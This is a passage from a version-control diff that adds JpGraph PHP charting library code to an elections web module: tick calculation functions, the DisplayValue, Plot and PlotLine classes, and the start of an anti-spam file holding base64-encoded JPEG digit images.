+	if( $min>0 && $min < pow(10,$ld) ) $min=0;
+		
+	//$majstep=pow(10,$ld-1)/$a; 
+	$majstep=pow(10,$ld)/$a; 
+	$minstep=$majstep/$b;
+	
+	$adjmax=ceil($max/$minstep)*$minstep;
+	$adjmin=floor($min/$minstep)*$minstep;	
+	$adjdiff = $adjmax-$adjmin;
+	$numsteps=$adjdiff/$majstep; 
+	
+	while( $numsteps>$maxsteps ) {
+	    $majstep=pow(10,$ld)/$a; 
+	    $numsteps=$adjdiff/$majstep;
+	    ++$ld;
+	}
+
+	$minstep=$majstep/$b;
+	$adjmin=floor($min/$minstep)*$minstep;	
+	$adjdiff = $adjmax-$adjmin;		
+	if( $majend ) {
+	    $adjmin = floor($min/$majstep)*$majstep;	
+	    $adjdiff = $adjmax-$adjmin;		
+	    $adjmax = ceil($adjdiff/$majstep)*$majstep+$adjmin;
+	}
+	else
+	    $adjmax=ceil($max/$minstep)*$minstep;
+
+	return array($numsteps,$adjmin,$adjmax,$minstep,$majstep);
+    }
+
+    function CalcTicksFreeze($maxsteps,$min,$max,$a,$b) {
+	// Same as CalcTicks but don't adjust min/max values
+	$diff=$max-$min; 
+	if( $diff==0 )
+	    $ld=0;
+	else
+	    $ld=floor(log10($diff));
+
+	//$majstep=pow(10,$ld-1)/$a; 
+	$majstep=pow(10,$ld)/$a; 
+	$minstep=$majstep/$b;
+	$numsteps=floor($diff/$majstep); 
+	
+	while( $numsteps > $maxsteps ) {
+	    $majstep=pow(10,$ld)/$a; 
+	    $numsteps=floor($diff/$majstep);
+	    ++$ld;
+	}
+	$minstep=$majstep/$b;
+	return array($numsteps,$minstep,$majstep);
+    }
+
+	
+    function IntCalcTicks($maxsteps,$min,$max,$a,$majend=true) {
+	$diff=$max-$min; 
+	if( $diff==0 )
+	    JpGraphError::RaiseL(25075);//('Can\'t automatically determine ticks since min==max.');
+	else
+	    $ld=floor(log10($diff));
+		
+	// Gravitate min towards zero if we are close		
+	if( $min>0 && $min < pow(10,$ld) ) $min=0;
+		
+	if( $ld == 0 ) $ld=1;
+	
+	if( $a == 1 ) 
+	    $majstep = 1;
+	else
+	    $majstep=pow(10,$ld)/$a; 
+	$adjmax=ceil($max/$majstep)*$majstep;
+
+	$adjmin=floor($min/$majstep)*$majstep;	
+	$adjdiff = $adjmax-$adjmin;
+	$numsteps=$adjdiff/$majstep; 
+	while( $numsteps>$maxsteps ) {
+	    $majstep=pow(10,$ld)/$a; 
+	    $numsteps=$adjdiff/$majstep;
+	    ++$ld;
+	}
+		
+	$adjmin=floor($min/$majstep)*$majstep;	
+	$adjdiff = $adjmax-$adjmin;		
+	if( $majend ) {
+	    $adjmin = floor($min/$majstep)*$majstep;	
+	    $adjdiff = $adjmax-$adjmin;		
+	    $adjmax = ceil($adjdiff/$majstep)*$majstep+$adjmin;
+	}
+	else
+	    $adjmax=ceil($max/$majstep)*$majstep;
+			
+	return array($numsteps,$adjmin,$adjmax,$majstep);		
+    }
+
+
+    function IntCalcTicksFreeze($maxsteps,$min,$max,$a) {
+	// Same as IntCalcTick but don't change min/max values
+	$diff=$max-$min; 
+	if( $diff==0 )
+	    JpGraphError::RaiseL(25075);//('Can\'t automatically determine ticks since min==max.');
+	else
+	    $ld=floor(log10($diff));
+		
+	if( $ld == 0 ) $ld=1;
+	
+	if( $a == 1 ) 
+	    $majstep = 1;
+	else
+	    $majstep=pow(10,$ld)/$a; 
+
+	$numsteps=floor($diff/$majstep); 
+	while( $numsteps > $maxsteps ) {
+	    $majstep=pow(10,$ld)/$a; 
+	    $numsteps=floor($diff/$majstep);
+	    ++$ld;
+	}
+					
+	return array($numsteps,$majstep);		
+    }
+
+
+	
+    // Determine the minimum of three values witha  weight for last value
+    function MatchMin3($a,$b,$c,$weight) {
+	if( $a < $b ) {
+	    if( $a < ($c*$weight) ) 
+		return 1; // $a smallest
+	    else 
+		return 3; // $c smallest
+	}
+	elseif( $b < ($c*$weight) ) 
+	    return 2; // $b smallest
+	return 3; // $c smallest
+    }
+} // Class
+
+
+//===================================================
+// CLASS DisplayValue
+// Description: Used to print data values at data points
+//===================================================
+class DisplayValue {
+    public $margin=5;
+    public $show=false;
+    public $valign="",$halign="center";
+    public $format="%.1f",$negformat="";
+    private $ff=FF_FONT1,$fs=FS_NORMAL,$fsize=10;
+    private $iFormCallback='';
+    private $angle=0;
+    private $color="navy",$negcolor="";
+    private $iHideZero=false;
+
+    function Show($aFlag=true) {
+	$this->show=$aFlag;
+    }
+
+    function SetColor($aColor,$aNegcolor="") {
+	$this->color = $aColor;
+	$this->negcolor = $aNegcolor;
+    }
+
+    function SetFont($aFontFamily,$aFontStyle=FS_NORMAL,$aFontSize=10) {
+	$this->ff=$aFontFamily;
+	$this->fs=$aFontStyle;
+	$this->fsize=$aFontSize;
+    }
+
+    function ApplyFont($aImg) {
+	$aImg->SetFont($this->ff,$this->fs,$this->fsize);
+    }
+
+    function SetMargin($aMargin) {
+	$this->margin = $aMargin;
+    }
+
+    function SetAngle($aAngle) {
+	$this->angle = $aAngle;
+    }
+
+    function SetAlign($aHAlign,$aVAlign='') {
+	$this->halign = $aHAlign;
+	$this->valign = $aVAlign;
+    }
+
+    function SetFormat($aFormat,$aNegFormat="") {
+	$this->format= $aFormat;
+	$this->negformat= $aNegFormat;
+    }
+
+    function SetFormatCallback($aFunc) {
+	$this->iFormCallback = $aFunc;
+    }
+
+    function HideZero($aFlag=true) {
+	$this->iHideZero=$aFlag;
+    }
+
+    function Stroke($img,$aVal,$x,$y) {
+	
+	if( $this->show ) 
+	{
+	    if( $this->negformat=="" ) $this->negformat=$this->format;
+	    if( $this->negcolor=="" ) $this->negcolor=$this->color;
+
+	    if( $aVal===NULL || (is_string($aVal) && ($aVal=="" || $aVal=="-" || $aVal=="x" ) ) ) 
+		return;
+
+	    if( is_numeric($aVal) && $aVal==0 && $this->iHideZero ) {
+		return;
+	    }
+
+	    // Since the value is used in different cirumstances we need to check what
+	    // kind of formatting we shall use. For example, to display values in a line
+	    // graph we simply display the formatted value, but in the case where the user
+	    // has already specified a text string we don't fo anything.
+	    if( $this->iFormCallback != '' ) {
+		$f = $this->iFormCallback;
+		$sval = call_user_func($f,$aVal);
+	    }
+	    elseif( is_numeric($aVal) ) {
+		if( $aVal >= 0 )
+		    $sval=sprintf($this->format,$aVal);
+		else
+		    $sval=sprintf($this->negformat,$aVal);
+	    }
+	    else
+		$sval=$aVal;
+
+	    $y = $y-sign($aVal)*$this->margin;
+
+	    $txt = new Text($sval,$x,$y);
+	    $txt->SetFont($this->ff,$this->fs,$this->fsize);
+	    if( $this->valign == "" ) {
+		if( $aVal >= 0 )
+		    $valign = "bottom";
+		else
+		    $valign = "top";
+	    }
+	    else
+		$valign = $this->valign;
+	    $txt->Align($this->halign,$valign);
+
+	    $txt->SetOrientation($this->angle);
+	    if( $aVal > 0 )
+		$txt->SetColor($this->color);
+	    else
+		$txt->SetColor($this->negcolor);
+	    $txt->Stroke($img);
+	}
+    }
+}
+
+//===================================================
+// CLASS Plot
+// Description: Abstract base class for all concrete plot classes
+//===================================================
+class Plot {
+    public $numpoints=0;
+    public $value;
+    public $legend='';
+    public $coords=array();
+    public $color="black";
+    public $hidelegend=false;
+    public $line_weight=1;
+    public $csimtargets=array(),$csimwintargets=array(); // Array of targets for CSIM
+    public $csimareas="";			// Resultant CSIM area tags	
+    public $csimalts=null;			// ALT:s for corresponding target
+    public $legendcsimtarget='',$legendcsimwintarget='';
+    public $legendcsimalt='';
+    protected $weight=1;	
+    protected $center=false;
+//---------------
+// CONSTRUCTOR
+    function Plot($aDatay,$aDatax=false) {
+	$this->numpoints = count($aDatay);
+	if( $this->numpoints==0 )
+	    JpGraphError::RaiseL(25121);//("Empty input data array specified for plot. Must have at least one data point.");
+	$this->coords[0]=$aDatay;
+	if( is_array($aDatax) ) {
+	    $this->coords[1]=$aDatax;
+	    $n = count($aDatax);
+	    for($i=0; $i < $n; ++$i ) {
+		if( !is_numeric($aDatax[$i]) ) {
+		    JpGraphError::RaiseL(25070);
+		}
+	    }
+	}
+	$this->value = new DisplayValue();
+    }
+
+//---------------
+// PUBLIC METHODS	
+
+    // Stroke the plot
+    // "virtual" function which must be implemented by
+    // the subclasses
+    function Stroke($aImg,$aXScale,$aYScale) {
+	JpGraphError::RaiseL(25122);//("JpGraph: Stroke() must be implemented by concrete subclass to class Plot");
+    }
+
+    function HideLegend($f=true) {
+	$this->hidelegend = $f;
+    }
+
+    function DoLegend($graph) {
+	if( !$this->hidelegend )
+	    $this->Legend($graph);
+    }
+
+    function StrokeDataValue($img,$aVal,$x,$y) {
+	$this->value->Stroke($img,$aVal,$x,$y);
+    }
+	
+    // Set href targets for CSIM	
+    function SetCSIMTargets($aTargets,$aAlts='',$aWinTargets='') {
+	$this->csimtargets=$aTargets;
+	$this->csimwintargets=$aWinTargets;
+	$this->csimalts=$aAlts;		
+    }
+ 	
+    // Get all created areas
+    function GetCSIMareas() {
+	return $this->csimareas;
+    }	
+	
+    // "Virtual" function which gets called before any scale
+    // or axis are stroked used to do any plot specific adjustment
+    function PreStrokeAdjust($aGraph) {
+	if( substr($aGraph->axtype,0,4) == "text" && (isset($this->coords[1])) )
+	    JpGraphError::RaiseL(25123);//("JpGraph: You can't use a text X-scale with specified X-coords. Use a \"int\" or \"lin\" scale instead.");
+	return true;	
+    }
+	
+    // Get minimum values in plot
+    function Min() {
+	if( isset($this->coords[1]) )
+	    $x=$this->coords[1];
+	else
+	    $x="";
+	if( $x != "" && count($x) > 0 ) {
+	    $xm=min($x);
+	}
+	else 
+	    $xm=0;
+	$y=$this->coords[0];
+	$cnt = count($y);
+	if( $cnt > 0 ) {
+	    /*
+	    if( ! isset($y[0]) ) {
+		JpGraphError('The input data array must have consecutive values from position 0 and forward. The given y-array starts with empty values (NULL)');
+	    }
+	    $ym = $y[0];
+	    */
+	    $i=0;
+	    while( $i<$cnt && !is_numeric($ym=$y[$i]) )
+		$i++;
+	    while( $i < $cnt) {
+		if( is_numeric($y[$i]) ) 
+		    $ym=min($ym,$y[$i]);
+		++$i;
+	    }			
+	}
+	else 
+	    $ym="";
+	return array($xm,$ym);
+    }
+	
+    // Get maximum value in plot
+    function Max() {
+	if( isset($this->coords[1]) )
+	    $x=$this->coords[1];
+	else
+	    $x="";
+
+	if( $x!="" && count($x) > 0 )
+	    $xm=max($x);
+	else {
+	    $xm = $this->numpoints-1;
+	}
+	$y=$this->coords[0];
+	if( count($y) > 0 ) {
+	    /*
+	    if( !isset($y[0]) ) {
+		JpGraphError::Raise('The input data array must have consecutive values from position 0 and forward. The given y-array starts with empty values (NULL)');
+//		$y[0] = 0;
+// Change in 1.5.1 Don't treat this as an error any more. Just silently convert to 0
+// Change in 1.17 Treat his as an error again !! This is the right way to do !!
+	    }
+	    */
+	    $cnt = count($y);
+	    $i=0;
+	    while( $i<$cnt && !is_numeric($ym=$y[$i]) )
+		$i++;				
+	    while( $i < $cnt ) {
+		if( is_numeric($y[$i]) ) 
+		    $ym=max($ym,$y[$i]);
+		++$i;
+	    }
+	}
+	else 
+	    $ym="";
+	return array($xm,$ym);
+    }
+	
+    function SetColor($aColor) {
+	$this->color=$aColor;
+    }
+	
+    function SetLegend($aLegend,$aCSIM='',$aCSIMAlt='',$aCSIMWinTarget='') {
+	$this->legend = $aLegend;
+	$this->legendcsimtarget = $aCSIM;
+	$this->legendcsimwintarget = $aCSIMWinTarget;
+	$this->legendcsimalt = $aCSIMAlt;
+    }
+
+    function SetWeight($aWeight) {
+	$this->weight=$aWeight;
+    }
+		
+    function SetLineWeight($aWeight=1) {
+	$this->line_weight=$aWeight;
+    }
+	
+    function SetCenter($aCenter=true) {
+	$this->center = $aCenter;
+    }
+	
+    // This method gets called by Graph class to plot anything that should go
+    // into the margin after the margin color has been set.
+    function StrokeMargin($aImg) {
+	return true;
+    }
+
+    // Framework function the chance for each plot class to set a legend
+    function Legend($aGraph) {
+	if( $this->legend != "" )
+	    $aGraph->legend->Add($this->legend,$this->color,"",0,$this->legendcsimtarget,
+				 $this->legendcsimalt,$this->legendcsimwintarget);    
+    }
+	
+} // Class
+
+
+//===================================================
+// CLASS PlotLine
+// Description: 
+// Data container class to hold properties for a static
+// line that is drawn directly in the plot area.
+// Usefull to add static borders inside a plot to show
+// for example set-values
+//===================================================
+class PlotLine {
+    public $scaleposition, $direction=-1; 
+    protected $weight=1;
+    protected $color="black";
+    private $legend='',$hidelegend=false, $legendcsimtarget='', $legendcsimalt='',$legendcsimwintarget='';
+    private $iLineStyle='solid';
+
+//---------------
+// CONSTRUCTOR
+    function PlotLine($aDir=HORIZONTAL,$aPos=0,$aColor="black",$aWeight=1) {
+	$this->direction = $aDir;
+	$this->color=$aColor;
+	$this->weight=$aWeight;
+	$this->scaleposition=$aPos;
+    }
+	
+//---------------
+// PUBLIC METHODS	
+
+    function SetLegend($aLegend,$aCSIM='',$aCSIMAlt='',$aCSIMWinTarget='') {
+	$this->legend = $aLegend;
+	$this->legendcsimtarget = $aCSIM;
+	$this->legendcsimwintarget = $aCSIMWinTarget;
+	$this->legendcsimalt = $aCSIMAlt;
+    }
+
+    function HideLegend($f=true) {
+	$this->hidelegend = $f;
+    }
+
+    function SetPosition($aScalePosition) {
+	$this->scaleposition=$aScalePosition;
+    }
+	
+    function SetDirection($aDir) {
+	$this->direction = $aDir;
+    }
+	
+    function SetColor($aColor) {
+	$this->color=$aColor;
+    }
+	
+    function SetWeight($aWeight) {
+	$this->weight=$aWeight;
+    }
+
+    function SetLineStyle($aStyle) {
+	$this->iLineStyle = $aStyle;
+    }
+
+//---------------
+// PRIVATE METHODS
+
+    function DoLegend(&$graph) {
+	if( !$this->hidelegend )
+	    $this->Legend($graph);
+    }
+
+    // Framework function the chance for each plot class to set a legend
+    function Legend(&$aGraph) {
+	if( $this->legend != "" ) {
+	    $dummyPlotMark = new PlotMark();
+	    $lineStyle = 1;
+	    $aGraph->legend->Add($this->legend,$this->color,$dummyPlotMark,$lineStyle,
+				 $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);    
+	}
+    }
+
+    function PreStrokeAdjust($aGraph) {
+	// Nothing to do
+    }
+	
+    function Stroke($aImg,$aXScale,$aYScale) {
+	$aImg->SetColor($this->color);
+	$aImg->SetLineWeight($this->weight);	
+	$oldStyle = $aImg->SetLineStyle($this->iLineStyle);
+	if( $this->direction == VERTICAL ) {
+	    $ymin_abs=$aYScale->Translate($aYScale->GetMinVal());
+	    $ymax_abs=$aYScale->Translate($aYScale->GetMaxVal());
+	    $xpos_abs=$aXScale->Translate($this->scaleposition);
+	    $aImg->StyleLine($xpos_abs, $ymin_abs, $xpos_abs, $ymax_abs);
+	}
+	elseif( $this->direction == HORIZONTAL ) {
+	    $xmin_abs=$aXScale->Translate($aXScale->GetMinVal());
+	    $xmax_abs=$aXScale->Translate($aXScale->GetMaxVal());
+	    $ypos_abs=$aYScale->Translate($this->scaleposition);
+	    $aImg->StyleLine($xmin_abs, $ypos_abs, $xmax_abs, $ypos_abs);
+	}
+	else {
+	    JpGraphError::RaiseL(25125);//(" Illegal direction for static line");
+	}
+	$aImg->SetLineStyle($oldStyle);
+    }
+}
+
+// <EOF>
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_antispam-digits.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_antispam-digits.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_antispam-digits.php	(revision 44)
@@ -0,0 +1,205 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_ANTISPAM.PHP
+// Description:	Genarate anti-spam challenge
+// Created: 	2004-10-07
+// Ver:		$Id: jpgraph_antispam-digits.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class HandDigits {
+    public $digits = array();
+    public $iHeight=30, $iWidth=30;
+
+    function HandDigits() {
+//==========================================================
+// d6-small.jpg
+//==========================================================
+	$this->digits['6'][0]= 645 ;
+	$this->digits['6'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAEBAAMBAAAAAAAAAAAAAAAABgMEBwX/xAAvEAABAwMC'.
+	    'BAQEBwAAAAAAAAABAgMEAAURBiESIjFRBxMUQRUWMmFTYnGRkrHC/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAFhEBAQEAAAAA'.
+	    'AAAAAAAAAAAAAAER/9oADAMBAAIRAxEAPwDslwiR3oDku8ONttsAvDiVyMcO/ET7ke5/aoOz6k1Vr5htNjW7a7M1yO3NTQU9JUDu'.
+	    'GgrlSn8xyf6p4gXaHJvNps9/mKZtSkGdMjRwpfqAFBLLACRlZUrJONsI2717No1lbZ10kx7XGnRpKWQ/6GVGMfzEJ5VFIVtsOH6e'.
+	    'wyKVhYsia0y22pLThSkJK1uniVgdThOM0ol+StIUhpopIyCFq3H8aUVCwnG3PGe4Rp6fLXJtMdyM0ojcIWvIz3HFnAPfrWTXb6GN'.
+	    'WaLXDwZjVz8pKEfhuIUFg/bAz9sVJ61nt61mxJFslLtq7e5yPqiBT4UDklKw4MDpt+u+9bFiu9riXNu83R+fcr6tohuQ5HQhmK37'.
+	    'paaC8DruScmg6X8KkjZEhbaB9KEyFYSOw26Uqd+e7Qerl5z74DY/1SomP//Z' ; 
+
+//==========================================================
+// d2-small.jpg
+//==========================================================
+	$this->digits['2'][0]= 606 ;
+	$this->digits['2'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEQMBIgACEQEDEQH/xAAYAAEBAQEBAAAAAAAAAAAAAAAFAAQHAv/EACsQAAEDBAEC'.
+	    'BAYDAAAAAAAAAAIBAwQABQYRIRIxQVFhcQcTFSJSU5GU0f/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwT/xAAZEQACAwEAAAAAAAAA'.
+	    'AAAAAAAAARESUUH/2gAMAwEAAhEDEQA/AOqXm/Q8dxmOL4PPSnCSNFixx6nXnkXgRT3Te17JWbGsveueSyLZdbPItNxOKLzTLjou'.
+	    'gYCSoSoY8ISKSbFeUrzkdlnTL1YshskiErkQnFEZaF8kkdBBVdjyi6RNL5+9F486eS/ECVkcBtDt1vZcho5viS8ZCp9C9tAIAm/F'.
+	    'VoPRU+HRtJ5JVRP1kP0PfwP+1VKrHBMliXG4Nw8VgE4xGkuqk2S1wTUNEVdIvgpL9iL6KtNxY7WOwo9tt0RCitj0sR2uCbFPPzH1'.
+	    '7+6rRuSRcljMBMsUy2tky045KOawZk5xtEFBJEROO3hx61kh2rPCIX3MhsyC4QmfTbC6lH8dq5212qwkiG5H6Y/9R2qm+ofxqqsL'.
+	    'DLZ6f//Z' ; 
+
+//==========================================================
+// d9-small.jpg
+//==========================================================
+	$this->digits['9'][0]= 680 ;
+	$this->digits['9'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABAUGBwP/xAArEAABAwMD'.
+	    'AgYBBQAAAAAAAAABAgMEBQYRABIhE1EUIjEzQUIHMlJhcdH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQD/xAAYEQEAAwEAAAAAAAAA'.
+	    'AAAAAAAAAREhQf/aAAwDAQACEQMRAD8AkK7brF6X7XpMeGoKhFMLEeT4ZUheEhanF4OcZ2pTgDykk92bZpdCsi7aezLjxkIPUZiV'.
+	    'RSCy8hah7EkZ27yM7V+iscal5bE22Lon1qNDmSKROd8Sl+Ix1lMOlIS4HGgQpbStoUCnlJz8HmsXtW3Lst2rmBAelLMRRekOwnYz'.
+	    'Edls9QKKnOVLyk7UgcbzzrdBthqEJJwZbAI4x1U/7o1TaFa9lG36aXaZTy54VrcXUgrzsGdx+T30aNydweqVw1GS87T6Lb86Q4ha'.
+	    'my/IAYjZBx+snKk99oOQMf1AViE65SY348hzFy6hPKnqtKz7DC1lbqyPrvJKUJ7H+M6Wrt3InP7o1brFNp4bCDGhxGAsqz69VSiQ'.
+	    'ORwBxrrQ7itm1ac7Hp0WoGTIc3PSn0pccdcP2WorycfA1RaRHjxosZqOyhtDTSAhCf2gDAGjVHTd9sKSCumynFEZK1tIJUe58/ro'.
+	    '1V1//9k=' ; 
+
+//==========================================================
+// d5-small.jpg
+//==========================================================
+	$this->digits['5'][0]= 632 ;
+	$this->digits['5'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABgIFBwT/xAAoEAABAwME'.
+	    'AQQCAwAAAAAAAAABAgMEBQYRABIhIkEUMVFhBxNCgaH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/EABcRAQEBAQAAAAAAAAAAAAAA'.
+	    'AAABEUH/2gAMAwEAAhEDEQA/ANGvW4YVOeiRX5b4mv5Sin05IdlupPKdo/j2SO3+6TbPNQvOsTVz33KRT4csR3YUF7Dsh5OSFvug'.
+	    'kqG4FPBxnjxpvvi4KZb1pTpU+QwxUi2Y7ZIAefUk5ATxnB9/gbtL/wCH1UpuhPUlZlMVaQ0mS8zJjqZOPfc2TwpIUonI9tw40R1r'.
+	    'WNGq/wBdJR1XT3lqHBUnGCfkfWjRWs1ve249erQqQYjOtN1FqPUpCXQ4WIzQSsJwT0UpRwQPG0nzqyuNHobjsl9kBuWqoOoXtT1/'.
+	    'WppZcA8lKRj64HxqU+3KpAr6plElRVKef3S4E0K9O8pLXVzKcqSsJAB9wSAca6bSoNXeuA1+5pEV+SGFNU1iKVFqI0Vdx2AJUeoz'.
+	    '8DGlTDwG3CAf3q/pI0ah6MDhLz6U+EpXwPoaNMU//9k=' ; 
+
+//==========================================================
+// d1-small.jpg
+//==========================================================
+	$this->digits['1'][0]= 646 ;
+	$this->digits['1'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEwMBIgACEQEDEQH/xAAZAAADAAMAAAAAAAAAAAAAAAAABQYCBAf/xAApEAACAQMD'.
+	    'AwQBBQAAAAAAAAABAgMEBREABiESMUEHEyJRkSNCYXGB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAFxEBAQEBAAAAAAAAAAAA'.
+	    'AAAAAAEREv/aAAwDAQACEQMRAD8A6jdd4WLbstILnc4Uq0VoWpkJknb6IjXLHJUePOlez923fcW4r1SxWlqC2UbdKirQif3Xw3yA'.
+	    'OFAGT09/kO3OmV3a20MFRf6lIYPcpy7yRRAzgxjIy2M8YwcdiBzpX6d22VNvUlTXsFkuwkrKqNSfnK7F8OTzwrAY+l5zoxKskudN'.
+	    'EgQPUT9PBkWF3DH+1GPxo1mLnRoAqF2VRgGOFmX/AAgY/GjRUP6hVMFv2FuFqUvUGrpDFJMBnpdyF5bsAQew7Hxzp6LZNT0yQ1DI'.
+	    'wp0QCFBhD0jCsfLZHxbx5xxpTuvb1+v9PV7Ztk9roLPLCjmSSN3mX5ZwqjCgZX7PfWxDQb2in96pv9qq46aTE0bW4x9ceAWAYPwS'.
+	    'PsYzoixgmheBGjIVcYCnjp/jHjHbRpe1JLn9OnopE/a0ykvjwDx47aNMXqP/2Q==' ; 
+
+//==========================================================
+// d8-small.jpg
+//==========================================================
+	$this->digits['8'][0]= 694 ;
+	$this->digits['8'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AFQMBIgACEQEDEQH/xAAYAAADAQEAAAAAAAAAAAAAAAAABgcEBf/EACsQAAEDAwMD'.
+	    'AwMFAAAAAAAAAAECAwQFBhEAEiEUMVEHE0EVYYEiIzJCsf/EABYBAQEBAAAAAAAAAAAAAAAAAAIAAf/EABcRAQEBAQAAAAAAAAAA'.
+	    'AAAAAAABERL/2gAMAwEAAhEDEQA/AKL6gVVUa0i1T5QjvTprUJMlxW4R9zgQXe/AH+kaWrntqlWjaq7gpcmotXAw82ht9yY4tch8'.
+	    'uAFC0k7VBXPGMY51ruiaue+bThIj+7NbWqS+7HDxajFf6AlB/k44o8ZOABk4xkL0X0tZiojKrlRuGRJjugqldSlKGf6t7BuUQe3J'.
+	    '44xxxrA1a4KVJipLidri8uLHgqOcfjOPxo0o2hdDvS1CmV2Yl6fS5ioipIQR1CAlKkLKR2UUqAI8g6NRSwuuyHab6s1ufLI/Zai7'.
+	    'UBJOxhTS0+6B32pWSFH4CidOdWU0ukLiN1BLr0zG5Sdm3GRvcPhIT858DvjXNrVsSLnm/VIdTXS6tTnFsxZTSN3jchaTwps+O/z9'.
+	    'tcBVq3hIX0tYqlIiQHdy5CqRHKHXEjAOMgBKjnvyRk4xrQa7OiGt1K5biYZL8SoVEpjOqkFsONtJCNwASeCQrn7aNUKnQYtLp7EC'.
+	    'EylmLHQltptPZKQOBo1FzH//2Q==' ; 
+
+//==========================================================
+// d4-small.jpg
+//==========================================================
+	$this->digits['4'][0]= 643 ;
+	$this->digits['4'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAYAAADAQEAAAAAAAAAAAAAAAAABAYHAv/EAC0QAAIBAwQA'.
+	    'BAMJAAAAAAAAAAECAwQFEQAGEiETFDFBUmGBByIjUVNxobHR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAIB/8QAGBEBAAMBAAAAAAAA'.
+	    'AAAAAAAAAAERIVH/2gAMAwEAAhEDEQA/ANjM00Nxmt1xiWW31CZp5uJwoAAaOQ/n7qfcZHqO5my3q5XX7R6ijiqnNut9u4NyJ4yv'.
+	    'JJyjYr8Xhrn5g599J7x3ulBNU7Zo7dXXXcLQ8kURYi4epYtkALjOePv1nUvbLvV7P3BZm3DR3eh88Kp7pVzBZI6iUhGWRRGWwE44'.
+	    'HX3V+uiL1uHgt+vL/H+aNJQ3CSeCOaFqSaJ1DJKs/TqRkMOvQjvRorHE4pRDLNWLGlRHGUeYIORXs9e5B7OP31E0fmdyb/t0DJ4Q'.
+	    '27bfx3YZzPUIoAAz7IpOD6cuxq0uNumqLfVNDOqXBoZEjnZcqhIPXH4c46+WkdoWOltu3IDDLLLVVR83UVcuPEmmcZZ2/rHoAANG'.
+	    'GI7KIY1ijoLeEQBVCwIoAHpgY6Hy0aZe7mJ2jeHLKcEhusj6aNKgzr//2Q==' ; 
+
+//==========================================================
+// d7-small.jpg
+//==========================================================
+	$this->digits['7'][0]= 658 ;
+	$this->digits['7'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
